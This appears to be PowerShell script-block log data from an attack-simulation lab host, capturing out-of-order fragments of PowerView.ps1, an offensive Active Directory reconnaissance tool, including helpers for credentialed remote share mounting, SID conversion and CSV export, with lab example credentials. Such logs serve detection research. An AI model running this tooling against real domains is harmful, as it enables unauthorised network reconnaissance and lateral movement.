([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget) } } else { if ($PSBoundParameters['Credential']) { Write-Verbose '[Get-PrincipalContext] Using alternate credentials' $DomainName = Get-Domain | Select-Object -ExpandProperty Name $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password) } else { $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain) } $ObjectIdentity = $Identity } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'Context' $Context $Out | Add-Member Noteproperty 'Identity' $ObjectIdentity $Out } catch { Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_" } } function Add-RemoteConnection { <# .SYNOPSIS Pseudo "mounts" a connection to a remote path using the specified credential object, allowing for access of remote resources. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: PSReflect .DESCRIPTION This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the -Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path or -ComputerName. .PARAMETER ComputerName Specifies the system to add a \\ComputerName\IPC$ connection for. .PARAMETER Path Specifies the remote \\UNC\path to add the connection for. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .EXAMPLE $Cred = Get-Credential Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred .EXAMPLE $Cred = Get-Credential @('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred #> [CmdletBinding(DefaultParameterSetName = 'ComputerName')] Param( [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] 421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666671Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local341 } PROCESS { ForEach ($TargetPath in $Path) { if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $HostComputer = (New-Object System.Uri($TargetPath)).Host if (-not $MappedComputers[$HostComputer]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential $MappedComputers[$HostComputer] = $True } } if (Test-Path -Path $TargetPath) { if ($PSBoundParameters['OutputObject']) { $IniObject = New-Object PSObject } else { $IniObject = @{} } Switch -Regex -File $TargetPath { "^\[(.+)\]" # Section { $Section = $matches[1].Trim() if ($PSBoundParameters['OutputObject']) { $Section = $Section.Replace(' ', '') $SectionObject = New-Object PSObject $IniObject | Add-Member Noteproperty $Section $SectionObject } else { $IniObject[$Section] = @{} } $CommentCount = 0 } "^(;.*)$" # Comment { $Value = $matches[1].Trim() $CommentCount = $CommentCount + 1 $Name = 'Comment' + $CommentCount if ($PSBoundParameters['OutputObject']) { $Name = $Name.Replace(' ', '') $IniObject.$Section | Add-Member Noteproperty $Name $Value } else { $IniObject[$Section][$Name] = $Value } } "(.+?)\s*=(.*)" # Key { $Name, $Value = $matches[1..2] $Name = $Name.Trim() $Values = $Value.split(',') | ForEach-Object { $_.Trim() } # if ($Values -isnot [System.Array]) { $Values = @($Values) } if ($PSBoundParameters['OutputObject']) { $Name = $Name.Replace(' ', '') $IniObject.$Section | Add-Member Noteproperty $Name $Values } else { $IniObject[$Section][$Name] = $Values } } } $IniObject } } } END { # remove the IPC$ mappings $MappedComputers.Keys | Remove-RemoteConnection } } function Export-PowerViewCSV { <# .SYNOPSIS Converts objects into a series of comma-separated (CSV) strings and saves the strings in a CSV file in a thread-safe manner. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION This helper exports an -InputObject to a .csv in a thread-safe manner using a mutex. This is so the various multi-threaded functions in PowerView has a thread-safe way to export output to the same file. Uses .NET IO.FileStream/IO.StreamWriter objects for speed. Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590 .PARAMETER InputObject Specifies the objects to export as CSV strings. .PARAMETER Path Specifies the path to the CSV output file. .PARAMETER Delimiter Specifies a delimiter to separate the property values. The default is a comma (,) .PARAMETER Append Indicates that this cmdlet adds the CSV output to the end of the specified file. Without this parameter, Export-PowerViewCSV replaces the file contents without warning. .EXAMPLE Get-DomainUser | Export-PowerViewCSV -Path "users.csv" .EXAMPLE Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|' .INPUTS PSObject Accepts one or more PSObjects on the pipeline. .LINK http://poshcode.org/1590 http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [System.Management.Automation.PSObject[]] $InputObject, [Parameter(Mandatory = $True, Position = 1)] [ValidateNotNullOrEmpty()] [String] $Path, [Parameter(Position = 2)] [ValidateNotNullOrEmpty()] [Char] $Delimiter = ',', [Switch] $Append ) BEGIN { $OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path']) $Exists = [System.IO.File]::Exists($OutputPath) # mutex so threaded code doesn't stomp on the output file $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex' $Null = $Mutex.WaitOne() if ($PSBoundParameters['Append']) { $FileMode = [System.IO.FileMode]::Append } else { $FileMode = [System.IO.FileMode]::Create $Exists = $False } $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) $CSVWriter = New-Object System.IO.StreamWriter($CSVStream) $CSVWriter.AutoFlush = $True } PROCESS { ForEach ($Entry in $InputObject) { $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation if (-not $Exists) { # output the object field names as well $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) } $Exists = $True } else { # only output object field data $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) } } } } END { $Mutex.ReleaseMutex() $CSVWriter.Dispose() $CSVStream.Dispose() } } function Resolve-IPAddress { <# .SYNOPSIS Resolves a given hostename to its associated IPv4 address. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Resolves a given hostename to its associated IPv4 address using [Net.Dns]::GetHostEntry(). If no hostname is provided, the default is the IP address of the localhost. .EXAMPLE Resolve-IPAddress -ComputerName SERVER .EXAMPLE @("SERVER1", "SERVER2") | Resolve-IPAddress .INPUTS String Accepts one or more IP address strings on the pipeline. .OUTPUTS System.Management.Automation.PSCustomObject A custom PSObject with the ComputerName and IPAddress. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = $Env:COMPUTERNAME ) PROCESS { ForEach ($Computer in $ComputerName) { try { @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { if ($_.AddressFamily -eq 'InterNetwork') { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ComputerName' $Computer $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString $Out } } } catch { Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address." } } } } function ConvertTo-SID { <# .SYNOPSIS Converts a given user/group name to a security identifier (SID). Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain .DESCRIPTION Converts a "DOMAIN\username" syntax to a security identifier (SID) using System.Security.Principal.NTAccount's translate function. If alternate credentials are supplied, then Get-ADObject is used to try to map the name to a security identifier. .PARAMETER ObjectName The user/group name to convert, can be 'user' or 'DOMAIN\user' format. .PARAMETER Domain Specifies the domain to use for the translation, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to for the translation. .PARAMETER Credential Specifies an alternate credential to use for the translation. .EXAMPLE ConvertTo-SID 'DEV\dfm' .EXAMPLE 'DEV\dfm','DEV\krbtgt' | ConvertTo-SID .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred .INPUTS String Accepts one or more username specification strings on the pipeline. .OUTPUTS String A string representing the SID of the translated name. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([String])] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name', 'Identity')] [String[]] $ObjectName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $DomainSearcherArguments = @{} if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential } } PROCESS { ForEach ($Object in $ObjectName) { $Object = $Object -Replace '/','\' if ($PSBoundParameters['Credential']) { $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments if ($DN) { $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' $UserName = $DN.Split(',')[0].split('=')[1] $DomainSearcherArguments['Identity'] = $UserName $DomainSearcherArguments['Domain'] = $UserDomain $DomainSearcherArguments['Properties'] = 'objectsid' Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid } } else { try { if ($Object.Contains('\')) { $Domain = $Object.Split('\')[0] $Object = $Object.Split('\')[1] } elseif (-not $PSBoundParameters['Domain']) { $DomainSearcherArguments = @{} $Domain = (Get-Domain @DomainSearcherArguments).Name } $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object)) $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value } catch { Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_" } } } } } function ConvertFrom-SID { <# .SYNOPSIS Converts a security identifier (SID) to a group/user name. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Convert-ADName .DESCRIPTION Converts a security identifier string (SID) to a group/user name using Convert-ADName. .PARAMETER ObjectSid Specifies one or more SIDs to convert. .PARAMETER Domain Specifies the domain to use for the translation, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to for the translation. .PARAMETER Credential Specifies an alternate credential to use for the translation. .EXAMPLE ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 TESTLAB\harmj0y .EXAMPLE "S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID TESTLAB\WINDOWS2$ TESTLAB\harmj0y BUILTIN\Distributed COM Users .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred TESTLAB\harmj0y .INPUTS String Accepts one or more SID strings on the pipeline. .OUTPUTS String The converted DOMAIN\username. #> [OutputType([String])] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('SID')] [ValidatePattern('^S-1-.*')] [String[]] $ObjectSid, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $ADNameArguments = @{} if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } } PROCESS { ForEach ($TargetSid in $ObjectSid) { $TargetSid = $TargetSid.trim('*') try { # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330 Switch ($TargetSid) { 'S-1-0' { 'Null Authority' } 'S-1-0-0' { 'Nobody' } 'S-1-1' { 'World Authority' } 'S-1-1-0' { 'Everyone' } 'S-1-2' { 'Local Authority' } 'S-1-2-0' { 'Local' } 'S-1-2-1' { 'Console Logon ' } 'S-1-3' { 'Creator Authority' } 'S-1-3-0' { 'Creator Owner' } 'S-1-3-1' { 'Creator Group' } 'S-1-3-2' { 'Creator Owner Server' } 'S-1-3-3' { 'Creator Group Server' } 'S-1-3-4' { 'Owner Rights' } 'S-1-4' { 'Non-unique Authority' } 'S-1-5' { 'NT Authority' } 'S-1-5-1' { 'Dialup' } 'S-1-5-2' { 'Network' } 'S-1-5-3' { 'Batch' } 'S-1-5-4' { 'Interactive' } 'S-1-5-6' { 'Service' } 'S-1-5-7' { 'Anonymous' } 'S-1-5-8' { 'Proxy' } 'S-1-5-9' { 'Enterprise Domain Controllers' } 'S-1-5-10' { 'Principal Self' } 'S-1-5-11' { 'Authenticated Users' } 'S-1-5-12' { 'Restricted Code' } 'S-1-5-13' { 'Terminal Server Users' } 'S-1-5-14' { 'Remote Interactive Logon' } 'S-1-5-15' { 'This Organization ' } 'S-1-5-17' { 'This Organization ' } 'S-1-5-18' { 'Local System' } 'S-1-5-19' { 'NT Authority' } 'S-1-5-20' { 'NT Authority' } 'S-1-5-80-0' { 'All Services ' } 'S-1-5-32-544' { 'BUILTIN\Administrators' } 'S-1-5-32-545' { 'BUILTIN\Users' } 'S-1-5-32-546' { 'BUILTIN\Guests' } 'S-1-5-32-547' { 'BUILTIN\Power Users' } 'S-1-5-32-548' { 'BUILTIN\Account Operators' } 'S-1-5-32-549' { 'BUILTIN\Server Operators' } 'S-1-5-32-550' { 'BUILTIN\Print Operators' } 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } 'S-1-5-32-552' { 'BUILTIN\Replicators' } 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } Default { Convert-ADName -Identity $TargetSid @ADNameArguments } } } catch { Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_" } } } } function Convert-ADName { <# .SYNOPSIS Converts Active Directory object names between a variety of formats. Author: Bill Stewart, Pasquale Lantella Modifications: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION This function is he421dbab9-027c-419f-a5e4-d72557c38f33C:\Users\reed_potts\Downloads\PowerView.ps1 4104132150x0666670Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local241 else { $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) } $NewField.SetCustomAttribute($AttribBuilder) } if ($ExplicitLayout) { $NewField.SetOffset($Offset) } } # Make the struct aware of its own size. # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! $SizeMethod = $StructBuilder.DefineMethod('GetSize', 'Public, Static', [Int], [Type[]] @()) $ILGenerator = $SizeMethod.GetILGenerator() # Thanks for the help, Jason Shirk! $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, [Type].GetMethod('GetTypeFromHandle')) $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) # Allow for explicit casting from an IntPtr # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', 'PrivateScope, Public, Static, HideBySig, SpecialName', $StructBuilder, [Type[]] @([IntPtr])) $ILGenerator2 = $ImplicitConverter.GetILGenerator() $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, [Type].GetMethod('GetTypeFromHandle')) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) $StructBuilder.CreateType() } ######################################################## # # Misc. helpers # ######################################################## Function New-DynamicParameter { <# .SYNOPSIS Helper function to simplify creating dynamic parameters. Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/. Originally released under the Microsoft Public License (Ms-PL). .DESCRIPTION Helper function to simplify creating dynamic parameters. Example use cases: Include parameters only if your environment dictates it Include parameters depending on the value of a user-specified parameter Provide tab completion and intellisense for parameters, depending on the environment Please keep in mind that all dynamic parameters you create, will not have corresponding variables created. Use New-DynamicParameter with 'CreateVariables' switch in your main code block, ('Process' for advanced functions) to create those variables. Alternatively, manually reference $PSBoundParameters for the dynamic parameter value. This function has two operating modes: 1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse, with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary. 2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand. Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters, with custom conditions and so on. .NOTES Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration: https://github.com/RamblingCookieMonster/PowerShell/blob/master/New-DynamicParam.ps1 http://ramblingcookiemonster.wordpress.com/2014/11/27/quick-hits-credentials-and-dynamic-parameters/ http://jrich523.wordpress.com/2013/05/30/powershell-simple-way-to-add-dynamic-parameters-to-advanced-function/ Credit to BM for alias and type parameters and their handling .PARAMETER Name Name of the dynamic parameter .PARAMETER Type Type for the dynamic parameter. Default is string .PARAMETER Alias If specified, one or more aliases to assign to the dynamic parameter .PARAMETER Mandatory If specified, set the Mandatory attribute for this dynamic parameter .PARAMETER Position If specified, set the Position attribute for this dynamic parameter .PARAMETER HelpMessage If specified, set the HelpMessage for this dynamic parameter .PARAMETER DontShow If specified, set the DontShow for this dynamic parameter. This is the new PowerShell 4.0 attribute that hides parameter from tab-completion. http://www.powershellmagazine.com/2013/07/29/pstip-hiding-parameters-from-tab-completion/ .PARAMETER ValueFromPipeline If specified, set the ValueFromPipeline attribute for this dynamic parameter .PARAMETER ValueFromPipelineByPropertyName If specified, set the ValueFromPipelineByPropertyName attribute for this dynamic parameter .PARAMETER ValueFromRemainingArguments If specified, set the ValueFromRemainingArguments attribute for this dynamic parameter .PARAMETER ParameterSetName If specified, set the ParameterSet attribute for this dynamic parameter. By default parameter is added to all parameters sets. .PARAMETER AllowNull If specified, set the AllowNull attribute of this dynamic parameter .PARAMETER AllowEmptyString If specified, set the AllowEmptyString attribute of this dynamic parameter .PARAMETER AllowEmptyCollection If specified, set the AllowEmptyCollection attribute of this dynamic parameter .PARAMETER ValidateNotNull If specified, set the ValidateNotNull attribute of this dynamic parameter .PARAMETER ValidateNotNullOrEmpty If specified, set the ValidateNotNullOrEmpty attribute of this dynamic parameter .PARAMETER ValidateRange If specified, set the ValidateRange attribute of this dynamic parameter .PARAMETER ValidateLength If specified, set the ValidateLength attribute of this dynamic parameter .PARAMETER ValidatePattern If specified, set the ValidatePattern attribute of this dynamic parameter .PARAMETER ValidateScript If specified, set the ValidateScript attribute of this dynamic parameter .PARAMETER ValidateSet If specified, set the ValidateSet attribute of this dynamic parameter .PARAMETER Dictionary If specified, add resulting RuntimeDefinedParameter to an existing RuntimeDefinedParameterDictionary. Appropriate for custom dynamic parameters creation. If not specified, create and return a RuntimeDefinedParameterDictionary Appropriate for a simple dynamic parameter creation. #> [CmdletBinding(DefaultParameterSetName = 'DynamicParameter')] Param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateNotNullOrEmpty()] [string]$Name, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [System.Type]$Type = [int], [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [string[]]$Alias, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$Mandatory, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [int]$Position, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [string]$HelpMessage, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$DontShow, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$ValueFromPipeline, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$ValueFromPipelineByPropertyName, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$ValueFromRemainingArguments, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [string]$ParameterSetName = '__AllParameterSets', [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$AllowNull, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$AllowEmptyString, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$AllowEmptyCollection, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$ValidateNotNull, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [switch]$ValidateNotNullOrEmpty, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateCount(2,2)] [int[]]$ValidateCount, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateCount(2,2)] [int[]]$ValidateRange, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateCount(2,2)] [int[]]$ValidateLength, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateNotNullOrEmpty()] [string]$ValidatePattern, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateNotNullOrEmpty()] [scriptblock]$ValidateScript, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateNotNullOrEmpty()] [string[]]$ValidateSet, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateNotNullOrEmpty()] [ValidateScript({ if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary])) { Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object' } $true })] $Dictionary = $false, [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] [switch]$CreateVariables, [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] [ValidateNotNullOrEmpty()] [ValidateScript({ # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class, # so one can't use PowerShell's '-is' operator to validate type. if($_.GetType().Name -notmatch 'Dictionary') { Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object' } $true })] $BoundParameters ) Begin { $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary function _temp { [CmdletBinding()] Param() } $CommonParameters = (Get-Command _temp).Parameters.Keys } Process { if($CreateVariables) { $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ } ForEach($Parameter in $BoundKeys) { if ($Parameter) { Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force } } } else { $StaleKeys = @() $StaleKeys = $PSBoundParameters.GetEnumerator() | ForEach-Object { if($_.Value.PSobject.Methods.Name -match '^Equals$') { # If object has Equals, compare bound key and variable using it if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) { $_.Key } } else { # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) { $_.Key } } } if($StaleKeys) { $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)} } # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() | # Find parameters that are belong to the current parameter set Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } | Select-Object -ExpandProperty Key | # Find unbound parameters in the current parameter set Where-Object { $PSBoundParameters.Keys -notcontains $_ } # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified) $tmp = $null ForEach ($Parameter in $UnboundParameters) { $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0 if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) { $PSBoundParameters.$Parameter = $DefaultValue } } if($Dictionary) { $DPDictionary = $Dictionary } else { $DPDictionary = $InternalDictionary } # Shortcut for getting local variables $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0} # Strings to match attributes and validation arguments $AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$' $ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$' $AliasRegex = '^Alias$' $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute switch -regex ($PSBoundParameters.Keys) { $AttributeRegex { Try { $ParameterAttribute.$_ = . $GetVar } Catch { $_ } continue } } if($DPDictionary.Keys -contains $Name) { $DPDictionary.$Name.Attributes.Add($ParameterAttribute) } else { $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute] switch -regex ($PSBoundParameters.Keys) { $ValidationRegex { Try { $ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop $AttributeCollection.Add($ParameterOptions) } Catch { $_ } continue } $AliasRegex { Try { $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop $AttributeCollection.Add($ParameterAlias) continue } Catch { $_ } } } $AttributeCollection.Add($ParameterAttribute) $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection) $DPDictionary.Add($Name, $Parameter) } } } End { if(!$CreateVariables -and !$Dictionary) { $DPDictionary } } } function Get-IniContent { <# .SYNOPSIS This helper parses an .ini file into a hashtable. Author: 'The Scripting Guys' Modifications: @harmj0y (-Credential support) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection .DESCRIPTION Parses an .ini file into a hashtable. If -Credential is supplied, then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file is parsed, and then the connection is destroyed with Remove-RemoteConnection. .PARAMETER Path Specifies the path to the .ini file to parse. .PARAMETER OutputObject Switch. Output a custom 